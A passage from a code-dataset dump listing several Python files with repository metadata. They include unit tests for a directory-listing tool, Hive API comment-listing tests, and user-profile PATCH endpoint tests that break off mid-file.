] | null | null | null |
mf2cCommsLib/mf2cComms/channel/msg/__init__.py
|
cketley/acsl
|
42b131672e115f449aef459a17e289d4723cd395
|
[
"Apache-2.0"
] | 1
|
2018-11-08T15:32:28.000Z
|
2018-11-08T15:32:53.000Z
|
mf2cCommsLib/mf2cComms/channel/msg/__init__.py
|
cketley/acsl
|
42b131672e115f449aef459a17e289d4723cd395
|
[
"Apache-2.0"
] | null | null | null |
from mf2cComms.channel.msg import message
| 41
| 41
| 0.878049
| 6
| 41
| 6
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.026316
| 0.073171
| 41
| 1
| 41
| 41
| 0.921053
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 6
|
a2db3a24dbf18eb804cee1322f20784d70c02631
| 42
|
py
|
Python
|
src/resellerclub/__init__.py
|
Ahuahuachi/resellerclub-api-client
|
44b78b7567c41fbaa2e15e8e93f956e6c1ffbbf2
|
[
"MIT"
] | null | null | null |
src/resellerclub/__init__.py
|
Ahuahuachi/resellerclub-api-client
|
44b78b7567c41fbaa2e15e8e93f956e6c1ffbbf2
|
[
"MIT"
] | null | null | null |
src/resellerclub/__init__.py
|
Ahuahuachi/resellerclub-api-client
|
44b78b7567c41fbaa2e15e8e93f956e6c1ffbbf2
|
[
"MIT"
] | null | null | null |
from .resellerclub import ResellerClubAPI
| 21
| 41
| 0.880952
| 4
| 42
| 9.25
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.095238
| 42
| 1
| 42
| 42
| 0.973684
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 6
|
0c050b12c0066d5441c6793a98f88ac45dc84d1e
| 42
|
py
|
Python
|
solver/__init__.py
|
mshrAndo/PyMCR
|
870aec7befaaeebe886080790b041dd897da1c5d
|
[
"MIT"
] | 1
|
2021-09-27T19:14:20.000Z
|
2021-09-27T19:14:20.000Z
|
solver/__init__.py
|
mshrAndo/PyMCR
|
870aec7befaaeebe886080790b041dd897da1c5d
|
[
"MIT"
] | null | null | null |
solver/__init__.py
|
mshrAndo/PyMCR
|
870aec7befaaeebe886080790b041dd897da1c5d
|
[
"MIT"
] | null | null | null |
import nmfsvd as nmfsvd
import als as als
| 21
| 24
| 0.809524
| 8
| 42
| 4.25
| 0.5
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.190476
| 42
| 2
| 25
| 21
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 6
|
0c26513dff466e9c741a44a31bc99a424078b3b9
| 10,910
|
py
|
Python
|
virtual/lib/python3.7/site-packages/l/tests/test_core.py
|
candycrushpro/pitch-project
|
8f850153fa3debcd858c5a58e7296d7cbda3918b
|
[
"MIT"
] | null | null | null |
virtual/lib/python3.7/site-packages/l/tests/test_core.py
|
candycrushpro/pitch-project
|
8f850153fa3debcd858c5a58e7296d7cbda3918b
|
[
"MIT"
] | null | null | null |
virtual/lib/python3.7/site-packages/l/tests/test_core.py
|
candycrushpro/pitch-project
|
8f850153fa3debcd858c5a58e7296d7cbda3918b
|
[
"MIT"
] | null | null | null |
from io import BytesIO
from textwrap import dedent
from unittest import TestCase
from bp.memory import MemoryFS, MemoryPath
from l import core, cli
class TestOutputters(TestCase):
def setUp(self):
self.fs = MemoryFS()
self.root = MemoryPath(fs=self.fs, path=("test-dir",))
self.root.createDirectory()
def assertOutputs(self, result, **kwargs):
stdout = BytesIO()
cli.run(stdout=stdout, **kwargs)
self.assertEqual(stdout.getvalue(), dedent(result))
def children(self, *new, **kwargs):
of = kwargs.pop("of", self.root)
assert not kwargs
of.createDirectory()
for child in new:
path = of.child(child)
path.setContent("")
yield path
def test_it_lists_directories(self):
foo, bar = self.children("foo", "bar")
self.assertOutputs(
output=core.columnized,
paths=[self.root],
result="bar foo\n",
)
def test_it_lists_multiple_directories(self):
one = self.root.child("one")
two, four = self.children("two", "four", of=one)
three, = self.children("three")
self.assertOutputs(
output=core.columnized,
paths=[self.root, one],
result="""\
/mem/test-dir:
one three
/mem/test-dir/one:
four two
""",
)
def test_group_directories_first(self):
self.root.child("one").createDirectory()
self.root.child("two").createDirectory()
three, four = self.children("three", "four")
self.assertOutputs(
output=core.columnized,
sort_by=core.group_directories_first,
paths=[self.root],
result="one two four three\n",
)
def test_group_directories_first_one_per_line(self):
self.root.child("one").createDirectory()
self.root.child("two").createDirectory()
three, four = self.children("three", "four")
self.assertOutputs(
output=core.one_per_line,
sort_by=core.group_directories_first,
paths=[self.root],
result="""\
one
two
four
three
""",
)
def test_group_directories_first_multiple_one_per_line(self):
one = self.root.child("one")
self.root.child("two").createDirectory()
three, four = self.children("three", "four")
five, six = self.children("five", "six", of=one)
one.child("seven").createDirectory()
self.assertOutputs(
output=core.one_per_line,
sort_by=core.group_directories_first,
paths=[self.root, one],
result="""\
/mem/test-dir/one
/mem/test-dir/one/seven
/mem/test-dir/two
/mem/test-dir/four
/mem/test-dir/one/five
/mem/test-dir/one/six
/mem/test-dir/three
""",
)
def test_it_ignores_hidden_files_by_default(self):
foo, hidden = self.children("foo", ".hidden")
self.assertOutputs(
output=core.columnized,
paths=[self.root],
result="foo\n",
)
def test_it_ignores_hidden_files_by_default_for_multiple_directories(self):
one = self.root.child("one")
two, four = self.children(".two", "four", of=one)
three, = self.children(".three")
self.assertOutputs(
output=core.columnized,
paths=[self.root, one],
result="""\
/mem/test-dir:
one
/mem/test-dir/one:
four
""",
)
def test_it_can_list_almost_everything(self):
one = self.root.child("one")
two, four = self.children(".two", "four", of=one)
three, = self.children(".three")
self.assertOutputs(
ls=core.ls_almost_all,
output=core.columnized,
paths=[self.root, one],
result="""\
/mem/test-dir:
.three one
/mem/test-dir/one:
.two four
""",
)
def test_it_can_list_everything(self):
one = self.root.child("one")
two, four = self.children(".two", "four", of=one)
three, = self.children(".three")
self.assertOutputs(
ls=core.ls_all,
output=core.columnized,
paths=[self.root, one],
result="""\
/mem/test-dir:
. .. .three one
/mem/test-dir/one:
. .. .two four
""",
)
def test_it_can_list_everything_recursively(self):
one = self.root.child("one")
two, four = self.children(".two", "four", of=one)
three, = self.children(".three")
self.assertOutputs(
ls=core.ls_all,
output=core.columnized,
recurse=core.recurse,
paths=[self.root],
result="""\
/mem/test-dir:
. .. .three one
/mem/test-dir/one:
. .. .two four
""",
)
def test_it_lists_directories_one_per_line(self):
foo, bar = self.children("foo", "bar")
self.assertOutputs(
output=core.one_per_line,
paths=[self.root],
result="bar\nfoo\n",
)
def test_it_lists_multiple_absolute_directories_one_per_line(self):
one = self.root.child("one")
two, four = self.children("two", "four", of=one)
three, = self.children("three")
self.assertOutputs(
output=core.one_per_line,
paths=[self.root, one],
result="""\
/mem/test-dir/one
/mem/test-dir/one/four
/mem/test-dir/one/two
/mem/test-dir/three
""",
)
def test_it_lists_directories_recursively(self):
one = self.root.child("one")
two, four = self.children("two", "four", of=one)
three, = self.children("three")
self.assertOutputs(
output=core.columnized,
recurse=core.recurse,
paths=[self.root],
result="""\
/mem/test-dir:
one three
/mem/test-dir/one:
four two
""",
)
def test_it_lists_directories_recursively_one_per_line(self):
one = self.root.child("one")
two, four = self.children("two", "four", of=one)
three, = self.children("three")
self.assertOutputs(
output=core.one_per_line,
recurse=core.recurse,
paths=[self.root],
result="""\
/mem/test-dir/one
/mem/test-dir/one/four
/mem/test-dir/one/two
/mem/test-dir/three
""",
)
def test_it_lists_nested_trees(self):
one, two = self.root.child("one"), self.root.child("two")
foo, bar = self.children("foo", "bar", of=one)
two.createDirectory()
two.child("quux").setContent("")
two.child("baz").createDirectory()
two.child("baz").child("spam").setContent("")
self.assertOutputs(
output=core.as_tree,
paths=[self.root],
result="""\
/mem/test-dir
├── one
│ ├── bar
│ └── foo
└── two
├── baz
│ └── spam
└── quux
""",
)
def test_it_lists_flat_trees(self):
foo, bar = self.children("foo", "bar")
self.assertOutputs(
output=core.as_tree,
paths=[self.root],
result="""\
/mem/test-dir
├── bar
└── foo
""",
)
def test_it_lists_multiple_flat_directories_as_trees(self):
one, two = self.root.child("one"), self.root.child("two")
foo, bar = self.children("foo", "bar", of=one)
baz, quux = self.children("baz", "quux", of=two)
self.assertOutputs(
output=core.as_tree,
paths=[one, two],
result="""\
/mem/test-dir/one
├── bar
└── foo
/mem/test-dir/two
├── baz
└── quux
""",
)
def test_group_directories_first_as_tree(self):
self.root.child("one").createDirectory()
self.root.child("two").createDirectory()
three, four = self.children("three", "four")
self.assertOutputs(
output=core.as_tree,
sort_by=core.group_directories_first,
paths=[self.root],
result="""\
/mem/test-dir
├── one
├── two
├── four
└── three
""",
)
def test_it_lists_empty_directories(self):
self.assertOutputs(
output=core.columnized,
paths=[self.root],
result="",
)
def test_it_lists_empty_directories_one_per_line(self):
self.assertOutputs(
output=core.one_per_line,
paths=[self.root],
result="",
)
def test_it_lists_empty_directories_as_tree(self):
self.assertOutputs(
output=core.as_tree,
paths=[self.root],
result="/mem/test-dir\n",
)
def test_it_lists_multiple_empty_directories(self):
self.assertOutputs(
output=core.columnized,
paths=[self.root, self.root],
result="/mem/test-dir:\n\n\n/mem/test-dir:\n\n",
)
def test_it_lists_multiple_empty_directories_one_per_line(self):
self.assertOutputs(
output=core.one_per_line,
paths=[self.root, self.root],
result="",
)
def test_it_lists_multiple_empty_directories_as_tree(self):
self.assertOutputs(
output=core.as_tree,
paths=[self.root, self.root],
result="/mem/test-dir\n" * 2,
)
def test_it_ignores_leading_punctuation_when_sorting_as_tree(self):
one, two, three = self.children("[]one", "two", ".three")
self.assertOutputs(
output=core.as_tree,
paths=[self.root],
result="""\
/mem/test-dir
├── []one
├── .three
└── two
""",
)
def test_it_ignores_case_when_sorting_as_tree(self):
one, two, three = self.children("one", "TWO", "thrEE")
self.assertOutputs(
output=core.as_tree,
paths=[self.root],
result="""\
/mem/test-dir
├── one
├── thrEE
└── TWO
""",
)
| 27.902813
| 79
| 0.508433
| 1,183
| 10,910
| 4.591716
| 0.084531
| 0.07511
| 0.069956
| 0.114323
| 0.81701
| 0.766384
| 0.745398
| 0.729013
| 0.70729
| 0.685567
| 0
| 0.000143
| 0.357745
| 10,910
| 390
| 80
| 27.974359
| 0.764807
| 0
| 0
| 0.663636
| 0
| 0.00303
| 0.232631
| 0.017415
| 0
| 0
| 0
| 0
| 0.087879
| 1
| 0.087879
| false
| 0
| 0.015152
| 0
| 0.106061
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 6
|
0c4de083e85a457d64c2979ba5b5248e7775edf1
| 199
|
py
|
Python
|
fmspy/rtmp/__init__.py
|
smira/fmspy
|
85260f4ebe8ccb17b0c755f8631f15af848b1707
|
[
"MIT"
] | 11
|
2015-01-06T09:43:26.000Z
|
2022-02-02T14:30:42.000Z
|
fmspy/rtmp/__init__.py
|
smira/fmspy
|
85260f4ebe8ccb17b0c755f8631f15af848b1707
|
[
"MIT"
] | null | null | null |
fmspy/rtmp/__init__.py
|
smira/fmspy
|
85260f4ebe8ccb17b0c755f8631f15af848b1707
|
[
"MIT"
] | 3
|
2015-07-13T03:18:21.000Z
|
2020-07-14T07:06:26.000Z
|
# FMSPy - Copyright (c) 2009 Andrey Smirnov.
#
# See COPYRIGHT for details.
"""
RTMP (Real Time Messaging Protocol) implementation.
U{http://en.wikipedia.org/wiki/Real_Time_Messaging_Protocol}
"""
| 19.9
| 60
| 0.743719
| 26
| 199
| 5.576923
| 0.807692
| 0.110345
| 0.234483
| 0.344828
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.022989
| 0.125628
| 199
| 9
| 61
| 22.111111
| 0.810345
| 0.924623
| 0
| null | 0
| null | 0
| 0
| null | 0
| 0
| 0
| null | 1
| null | true
| 0
| 0
| null | null | null | 1
| 0
| 0
| null | 0
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
|
0
| 6
|
a73f93b3fd3385c492de787121d7341befb25d20
| 141
|
py
|
Python
|
kaylee/testsuite/projects/auto_test_project/__init__.py
|
BasicWolf/archived-kaylee
|
91e5c9025a525f3b0033b067d810a38c9e6be4d3
|
[
"MIT"
] | 2
|
2018-02-18T09:52:23.000Z
|
2018-03-04T06:23:15.000Z
|
kaylee/testsuite/projects/auto_test_project/__init__.py
|
BasicWolf/archived-kaylee
|
91e5c9025a525f3b0033b067d810a38c9e6be4d3
|
[
"MIT"
] | 6
|
2017-08-03T18:51:38.000Z
|
2017-08-03T18:51:38.000Z
|
kaylee/testsuite/projects/auto_test_project/__init__.py
|
BasicWolf/archived-kaylee
|
91e5c9025a525f3b0033b067d810a38c9e6be4d3
|
[
"MIT"
] | null | null | null |
from .auto_test_project import AutoTestProject
from kaylee.testsuite import TestController
class TestController1(TestController):
pass
| 20.142857
| 46
| 0.843972
| 15
| 141
| 7.8
| 0.8
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.008065
| 0.120567
| 141
| 6
| 47
| 23.5
| 0.935484
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0.25
| 0.5
| 0
| 0.75
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 1
| 0
| 1
| 0
|
0
| 6
|
a767af49b7091c536ca132c9cf178d0106c2b0c6
| 2,927
|
py
|
Python
|
tests/server/test_server_database_api.py
|
abitmore/hivemind
|
a68d8dd49d5d79caccf988a1ff6cba4703adae49
|
[
"MIT"
] | 45
|
2021-05-23T21:06:49.000Z
|
2022-03-22T23:04:25.000Z
|
tests/server/test_server_database_api.py
|
abitmore/hivemind
|
a68d8dd49d5d79caccf988a1ff6cba4703adae49
|
[
"MIT"
] | 1
|
2021-08-03T10:57:23.000Z
|
2021-08-03T10:58:05.000Z
|
tests/server/test_server_database_api.py
|
abitmore/hivemind
|
a68d8dd49d5d79caccf988a1ff6cba4703adae49
|
[
"MIT"
] | 30
|
2021-05-28T16:23:53.000Z
|
2021-09-09T00:28:34.000Z
|
import pytest
from hive.server.database_api.methods import list_comments
from hive.steem.client import SteemClient
from hive.conf import Conf
@pytest.fixture
def client():
return SteemClient(url='https://api.hive.blog')
@pytest.mark.asyncio
async def test_list_comments_by_cashout_time(client):
with Conf() as conf:
reference_data = await client.list_comments({"start":["1970-01-01T00:00:00","steemit","firstpost"],"limit":10,"order":"by_cashout_time"})
test_data = await list_comments({'db' : conf.db()}, ["1970-01-01T00:00:00","steemit","firstpost"],10,"by_cashout_time")
assert reference_data
assert test_data
assert len(reference_data) == len(test_data)
to_compare = ['author','permlink']
for idx in range(len(reference_data)):
for key in to_compare:
assert reference_data[idx][key] == test_data[idx][key]
assert reference_data[idx]['cashout_time'] == test_data[idx]['payout_at']
@pytest.mark.asyncio
async def test_list_comments_by_permlink(client):
with Conf() as conf:
reference_data = await client.list_comments({"start":["steemit","firstpost"],"limit":10,"order":"by_permlink"})
test_data = await list_comments({'db' : conf.db()}, ["steemit","firstpost"],10,"by_permlink")
assert reference_data
assert test_data
assert len(reference_data) == len(test_data)
to_compare = ['author','permlink']
for idx in range(len(reference_data)):
for key in to_compare:
assert reference_data[idx][key] == test_data[idx][key]
@pytest.mark.asyncio
async def test_list_comments_by_root(client):
with Conf() as conf:
reference_data = await client.list_comments({"start":["steemit","firstpost","",""],"limit":10,"order":"by_root"})
test_data = await list_comments({'db' : conf.db()}, ["steemit","firstpost","",""],10,"by_root")
assert reference_data
assert test_data
assert len(reference_data) == len(test_data)
to_compare = ['author','permlink','root_author','root_permlink']
for idx in range(len(reference_data)):
for key in to_compare:
assert reference_data[idx][key] == test_data[idx][key]
@pytest.mark.asyncio
async def test_list_comments_by_parent(client):
with Conf() as conf:
reference_data = await client.list_comments({"start":["steemit","firstpost","",""],"limit":10,"order":"by_parent"})
test_data = await list_comments({'db' : conf.db()}, ["steemit","firstpost","",""],10,"by_parent")
assert reference_data
assert test_data
assert len(reference_data) == len(test_data)
to_compare = ['author','permlink','parent_author','parent_permlink']
for idx in range(len(reference_data)):
for key in to_compare:
assert reference_data[idx][key] == test_data[idx][key]
| 47.209677
| 145
| 0.658695
| 385
| 2,927
| 4.776623
| 0.150649
| 0.14845
| 0.092985
| 0.059815
| 0.808048
| 0.808048
| 0.800435
| 0.766721
| 0.748777
| 0.702012
| 0
| 0.018605
| 0.192005
| 2,927
| 61
| 146
| 47.983607
| 0.758985
| 0
| 0
| 0.607143
| 0
| 0
| 0.159891
| 0
| 0
| 0
| 0
| 0
| 0.303571
| 1
| 0.017857
| false
| 0
| 0.071429
| 0.017857
| 0.107143
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 6
|
a7a4d3d67419e33e84854dc482bd227dcd2f2027
| 109
|
py
|
Python
|
dis_snek/__init__.py
|
Astrea49/dis_snek
|
c899a6f1caa3c2a45323dbe50ed8ed62676be9d6
|
[
"MIT"
] | 64
|
2021-10-12T15:31:36.000Z
|
2022-03-29T18:25:47.000Z
|
dis_snek/__init__.py
|
Astrea49/dis_snek
|
c899a6f1caa3c2a45323dbe50ed8ed62676be9d6
|
[
"MIT"
] | 166
|
2021-10-10T16:27:52.000Z
|
2022-03-30T09:04:54.000Z
|
dis_snek/__init__.py
|
Astrea49/dis_snek
|
c899a6f1caa3c2a45323dbe50ed8ed62676be9d6
|
[
"MIT"
] | 34
|
2021-10-10T13:26:41.000Z
|
2022-03-23T13:59:35.000Z
|
from .client import *
from .client.const import *
from .models import *
from .api import *
from . import ext
| 18.166667
| 27
| 0.724771
| 16
| 109
| 4.9375
| 0.4375
| 0.506329
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.183486
| 109
| 5
| 28
| 21.8
| 0.88764
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 0
| null | 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 6
|
38ff4ca0d0d31d4509470045d0269a6d455c6c04
| 23,349
|
py
|
Python
|
tests/modules/users/resources/test_modifying_users_info.py
|
karenc/houston
|
4eaaaf11d61394035e34b55bb847ea7eb4099c61
|
[
"Apache-2.0"
] | null | null | null |
tests/modules/users/resources/test_modifying_users_info.py
|
karenc/houston
|
4eaaaf11d61394035e34b55bb847ea7eb4099c61
|
[
"Apache-2.0"
] | 2
|
2021-03-16T20:28:06.000Z
|
2021-03-29T15:54:11.000Z
|
tests/modules/users/resources/test_modifying_users_info.py
|
karenc/houston
|
4eaaaf11d61394035e34b55bb847ea7eb4099c61
|
[
"Apache-2.0"
] | null | null | null |
# -*- coding: utf-8 -*-
# pylint: disable=missing-docstring
import io
import json
from pathlib import Path
import shutil
import tempfile
import uuid
from app.modules.users.models import User
from app.modules.fileuploads.models import FileUpload
from PIL import Image
from tests.utils import TemporaryDirectoryGraceful
def test_user_id_not_found(flask_app_client, regular_user):
with flask_app_client.login(
regular_user,
auth_scopes=(
'users:read',
'users:write',
),
):
response = flask_app_client.patch(
'/api/v1/users/wrong-uuid',
content_type='application/json',
data=json.dumps(
[
{
'op': 'replace',
'path': '/full_name',
'value': 'Modified Full Name',
}
]
),
)
assert response.status_code == 404
def test_modifying_user_info_by_owner(flask_app_client, regular_user, db):
# pylint: disable=invalid-name
saved_full_name = regular_user.full_name
try:
with flask_app_client.login(regular_user, auth_scopes=('users:write',)):
response = flask_app_client.patch(
'/api/v1/users/%s' % regular_user.guid,
content_type='application/json',
data=json.dumps(
[
{
'op': 'test',
'path': '/current_password',
'value': regular_user.password_secret,
},
{
'op': 'replace',
'path': '/full_name',
'value': 'Modified Full Name',
},
]
),
)
temp_user = User.query.get(response.json['guid'])
assert response.status_code == 200
assert response.content_type == 'application/json'
assert isinstance(response.json, dict)
assert set(response.json.keys()) >= {'guid', 'email'}
assert uuid.UUID(response.json['guid']) == regular_user.guid
assert 'password' not in response.json.keys()
assert temp_user.email == regular_user.email
assert temp_user.full_name == 'Modified Full Name'
finally:
# Restore original state
regular_user.full_name = saved_full_name
with db.session.begin():
db.session.merge(regular_user)
def test_modifying_user_info_by_admin(flask_app_client, admin_user, regular_user, db):
# pylint: disable=invalid-name
saved_full_name = regular_user.full_name
try:
with flask_app_client.login(admin_user, auth_scopes=('users:write',)):
response = flask_app_client.patch(
'/api/v1/users/%s' % regular_user.guid,
content_type='application/json',
data=json.dumps(
[
{
'op': 'test',
'path': '/current_password',
'value': admin_user.password_secret,
},
{
'op': 'replace',
'path': '/full_name',
'value': 'Modified Full Name',
},
{'op': 'replace', 'path': '/is_active', 'value': False},
{'op': 'replace', 'path': '/is_staff', 'value': False},
{'op': 'replace', 'path': '/is_admin', 'value': True},
{'op': 'replace', 'path': '/is_contributor', 'value': True},
{'op': 'replace', 'path': '/is_researcher', 'value': True},
{'op': 'replace', 'path': '/is_user_manager', 'value': True},
{'op': 'replace', 'path': '/is_internal', 'value': False},
{'op': 'replace', 'path': '/is_exporter', 'value': True},
]
),
)
from app.modules.users.models import User
temp_user = User.query.get(response.json['guid'])
assert temp_user.is_researcher
assert temp_user.is_contributor
assert temp_user.is_user_manager
assert response.status_code == 200
assert response.content_type == 'application/json'
assert isinstance(response.json, dict)
assert set(response.json.keys()) >= {'guid', 'email'}
assert uuid.UUID(response.json['guid']) == regular_user.guid
assert 'password' not in response.json.keys()
assert temp_user.email == regular_user.email
assert temp_user.full_name == 'Modified Full Name'
assert not temp_user.is_active
assert not temp_user.is_staff
assert temp_user.is_admin
assert not temp_user.is_internal
assert temp_user.is_exporter
finally:
# Restore original state
regular_user.full_name = saved_full_name
regular_user.is_active = True
regular_user.is_staff = False
regular_user.is_admin = False
regular_user.is_researcher = False
regular_user.is_contributor = False
regular_user.is_user_manager = False
with db.session.begin():
db.session.merge(regular_user)
def test_modifying_user_info_admin_fields_by_not_admin(
flask_app_client, regular_user, db
):
# pylint: disable=invalid-name
saved_full_name = regular_user.full_name
try:
with flask_app_client.login(regular_user, auth_scopes=('users:write',)):
response = flask_app_client.patch(
'/api/v1/users/%s' % regular_user.guid,
content_type='application/json',
data=json.dumps(
[
{
'op': 'test',
'path': '/current_password',
'value': regular_user.password_secret,
},
{
'op': 'replace',
'path': '/full_name',
'value': 'Modified Full Name',
},
{'op': 'replace', 'path': '/is_active', 'value': False},
{'op': 'replace', 'path': '/is_staff', 'value': False},
{'op': 'replace', 'path': '/is_admin', 'value': True},
]
),
)
assert response.status_code == 403
assert response.content_type == 'application/json'
assert isinstance(response.json, dict)
assert set(response.json.keys()) >= {'status', 'message'}
finally:
regular_user.full_name = saved_full_name
regular_user.is_active = True
regular_user.is_staff = False
regular_user.is_admin = False
with db.session.begin():
db.session.merge(regular_user)
def test_modifying_user_info_with_invalid_format_must_fail(
flask_app_client, regular_user
):
# pylint: disable=invalid-name
with flask_app_client.login(regular_user, auth_scopes=('users:write',)):
response = flask_app_client.patch(
'/api/v1/users/%s' % regular_user.guid,
content_type='application/json',
data=json.dumps(
[
{'op': 'test', 'path': '/full_name', 'value': ''},
{'op': 'replace', 'path': '/website'},
]
),
)
assert response.status_code == 422
assert response.content_type == 'application/json'
assert isinstance(response.json, dict)
assert set(response.json.keys()) >= {'status', 'message'}
def test_modifying_user_info_with_invalid_password_must_fail(
flask_app_client, regular_user
):
# pylint: disable=invalid-name
with flask_app_client.login(regular_user, auth_scopes=('users:write',)):
response = flask_app_client.patch(
'/api/v1/users/%s' % regular_user.guid,
content_type='application/json',
data=json.dumps(
[
{
'op': 'test',
'path': '/current_password',
'value': 'invalid_password',
},
{
'op': 'replace',
'path': '/full_name',
'value': 'Modified Full Name',
},
]
),
)
assert response.status_code == 403
assert response.content_type == 'application/json'
assert isinstance(response.json, dict)
assert set(response.json.keys()) >= {'status', 'message'}
def test_modifying_user_info_with_conflict_data_must_fail(
flask_app_client, admin_user, regular_user
):
# pylint: disable=invalid-name
with flask_app_client.login(regular_user, auth_scopes=('users:write',)):
response = flask_app_client.patch(
'/api/v1/users/%s' % regular_user.guid,
content_type='application/json',
data=json.dumps(
[
{
'op': 'test',
'path': '/current_password',
'value': regular_user.password_secret,
},
{'op': 'replace', 'path': '/email', 'value': admin_user.email},
]
),
)
assert response.status_code == 409
assert response.content_type == 'application/json'
assert isinstance(response.json, dict)
assert set(response.json.keys()) >= {'status', 'message'}
def test_user_profile_fileupload(
db, flask_app, flask_app_client, regular_user, request, test_root
):
clean_up_objects = []
clean_up_paths = []
upload_dir = Path(flask_app.config['UPLOADS_DATABASE_PATH'])
fileupload_dir = Path(flask_app.config['FILEUPLOAD_BASE_PATH'])
with (test_root / 'zebra.jpg').open('rb') as f:
zebra = f.read()
def cleanup_fileupload_dir(path):
for c in path.glob('*'):
child = Path(c)
if child.is_dir():
cleanup_fileupload_dir(child)
if not list(child.glob('*')):
child.rmdir()
def cleanup():
regular_user.profile_fileupload_guid = None
db.session.merge(regular_user)
for obj in clean_up_objects:
if hasattr(obj, 'delete'):
obj.delete()
else:
db.session.delete(obj)
for path in clean_up_paths:
if path.exists():
shutil.rmtree(path, ignore_errors=True)
cleanup_fileupload_dir(fileupload_dir)
request.addfinalizer(cleanup)
with flask_app_client.login(regular_user, auth_scopes=('users:write',)):
args = (f'/api/v1/users/{regular_user.guid}',)
# PATCH remove /profile_upload_guid when it's not set
kwargs = {
'content_type': 'application/json',
'data': json.dumps(
[
{
'op': 'remove',
'path': '/profile_fileupload_guid',
},
],
),
}
response = flask_app_client.patch(*args, **kwargs)
assert response.status_code == 200, response.data
# Create file upload
with TemporaryDirectoryGraceful() as td:
testfile = Path(td) / 'a.txt'
with testfile.open('w') as f:
f.write('abcd\n')
fup = FileUpload.create_fileupload_from_path(str(testfile))
with db.session.begin():
db.session.add(fup)
clean_up_objects += [fup]
clean_up_paths += [Path(fup.get_absolute_path())]
# PATCH replace /profile_fileupload_guid without dict
kwargs = {
'content_type': 'application/json',
'data': json.dumps(
[
{
'op': 'replace',
'path': '/profile_fileupload_guid',
'value': str(fup.guid),
},
],
),
}
response = flask_app_client.patch(*args, **kwargs)
assert response.status_code == 422, response.data
assert (
response.json['message']
== 'Expected {"transactionId": "..."} or {"guid": "..."}'
)
# PATCH replace /profile_fileupload_guid with asset.guid
kwargs = {
'content_type': 'application/json',
'data': json.dumps(
[
{
'op': 'replace',
'path': '/profile_fileupload_guid',
'value': {'guid': str(fup.guid)},
}
]
),
}
response = flask_app_client.patch(*args, **kwargs)
assert response.status_code == 200, response.data
assert response.json['profile_fileupload']['guid'] == str(fup.guid)
updated_user = User.query.get(regular_user.guid)
assert updated_user.profile_fileupload_guid == fup.guid
# Test transactionId is required when not using asset guid
kwargs = {
'content_type': 'application/json',
'data': json.dumps(
[
{
'op': 'replace',
'path': '/profile_fileupload_guid',
'value': {'submissionGuid': '1234'},
}
]
),
}
response = flask_app_client.patch(*args, **kwargs)
assert response.status_code == 422, response.data
assert response.json['message'] == '"transactionId" or "guid" is mandatory'
# PATCH replace /profile_fileupload_guid with transaction_id with no assets
td = Path(tempfile.mkdtemp(prefix='trans-', dir=upload_dir))
transaction_id = td.name[len('trans-') :]
kwargs = {
'content_type': 'application/json',
'data': json.dumps(
[
{
'op': 'replace',
'path': '/profile_fileupload_guid',
